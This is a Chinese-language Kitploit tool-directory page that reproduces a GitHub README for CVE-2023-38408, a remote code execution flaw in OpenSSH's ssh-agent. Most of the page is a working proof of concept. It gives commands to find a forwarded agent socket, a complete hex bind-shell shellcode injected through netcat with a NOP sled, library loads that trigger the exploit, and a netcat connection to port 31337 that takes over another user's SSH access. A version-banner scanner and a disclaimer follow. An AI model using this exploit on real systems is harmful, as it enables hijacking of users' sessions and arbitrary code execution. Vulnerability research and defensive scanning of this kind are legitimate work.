Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-38408 — CVE-2023-38408 SSH漏洞扫描器与PoC | Kitploit
工具/GitHubGitHub/tx-one/cve-2023-38408
漏洞扫描器Payload生成漏洞利用Shellcode渗透测试学习与教育远程访问工具
GitHubtx-one/cve-2023-38408

CVE-2023-38408

CVE-2023-38408 SSH漏洞扫描器与PoC

查看仓库
71年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

OpenSSH 漏洞 - CVE-2023-38408 📚

简介

在 OpenSSH(9.3p2 版本之前)中发现了一个漏洞。OpenSSH 中 ssh-agent 的 PKCS#11 功能存在搜索路径不够可信的问题,如果 agent 被转发到攻击者控制的系统(/usr/lib 中的代码加载到 ssh-agent 中并不一定安全),则可能导致远程代码执行。此漏洞允许攻击者控制服务器上转发的 agent 套接字,并能够在客户端主机文件系统上写入,从而以运行 ssh-agent 的用户权限执行任意代码。

在下面的示例中,我们可以简要观察从探索到入侵 alice 用户的步骤。

  • 步骤 1 - 攻击用户通过 SSH 连接到服务器。
  • 步骤 2 - 用户 Alice 也通过 SSH 连接到服务器。
  • 步骤 3 - 攻击者创建 shellcode,通过 SSH 进程发送到目标服务器。
  • 步骤 4 - 攻击者发送的 shellcode 利用 ssh-agent 的 PKCS#11 漏洞,创建一个新进程劫持用户 Alice 的 SSH 访问。
  • 步骤 5 - 仍然通过攻击者的正常访问,可以以用户 Alice 的身份执行操作命令,通过 nc localhost 31337 访问 shellcode 中创建的漏洞利用。

如何实现?让我们创建 POC

如前所述,在此 POC 中,我们将使用两个通过 SSH 连接到服务器的用户。按照以下步骤操作,我们假设两个用户都已拥有服务器的 SSH 访问权限。

  1. 获取远程攻击机器上运行的 SSH agent 的 PID,并将其导出为环境变量。我们还通过 ssh-add 添加了文件 linuxx64.elf.stub(UEFI 启动存根)
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. 现在,要将 shellcode 通过 SSH 复制到进程中,需要在攻击机器上执行以下步骤:
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

最后,一旦 shellcode 成功放置在 agent 的内存中,按 Ctrl-C 停止 netcat 传输。

  1. 在此步骤中,我们将通过 ssh-add 上传 3 个文件:libttcn3-rt2-dynamic.so、libKF5SonnetUi.so.5.92.0 和 libns3.35-wave.so.0.0.0。漏洞利用过程的下一步是注册段错误(SIGSEGV)信号的处理程序。

[!NOTE] 触发 SIGSEGV 💬
SIGSEGV 是计算机进程已知的一种信号,当发生无效内存引用(段错误)时发出。接收到 SIGSEGV 信号后,内核识别到发生了无效内存访问,并着手调用自定义信号处理程序,而不是突然终止程序。通过这种方式,攻击者抓住机会操纵程序执行,并将其导向位于 NOP sled 中的注入恶意代码。

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. 此时,我们已经成功通过攻击者对服务器的 SSH 访问入侵了用户 Alice,执行以下由 shellcode 创建的命令。 🔥
root@kitploit:~
nc localhost 31337

CVE-2023-38408 是否影响我 ❓

该漏洞主要影响使用 OpenSSH 的 ssh-agent 且启用了 agent 转发功能的环境。依赖 OpenSSH 的组织和个人应立即评估其配置以确定潜在风险。如果您的系统满足上述条件,则必须立即采取行动,以减轻与 CVE-2023-38408 相关的风险。

使用我的工具自动检测该 CVE

安装

root@kitploit:~
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408

使用

root@kitploit:~
python CVE-2023-38408_scanner.py -t <target> -p <port>

协议流程

root@kitploit:~
客户端                          服务器
  | --- SSH-2.0-Client_Test ----> |
  | <---- SSH 服务器横幅 -------- |

简单输出

root@kitploit:~
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Developed by TXOne

[+] Connecting to 192.168.1.100:22...
[+] Received banner: SSH-2.0-OpenSSH_9.2
[+] OpenSSH Version Detected: 9.2
[!] Vulnerable OpenSSH version detected: 9.2

免责声明

本工具仅供授权安全测试和教育目的使用。在扫描任何网络资源之前,请始终获得适当的授权。

下载工具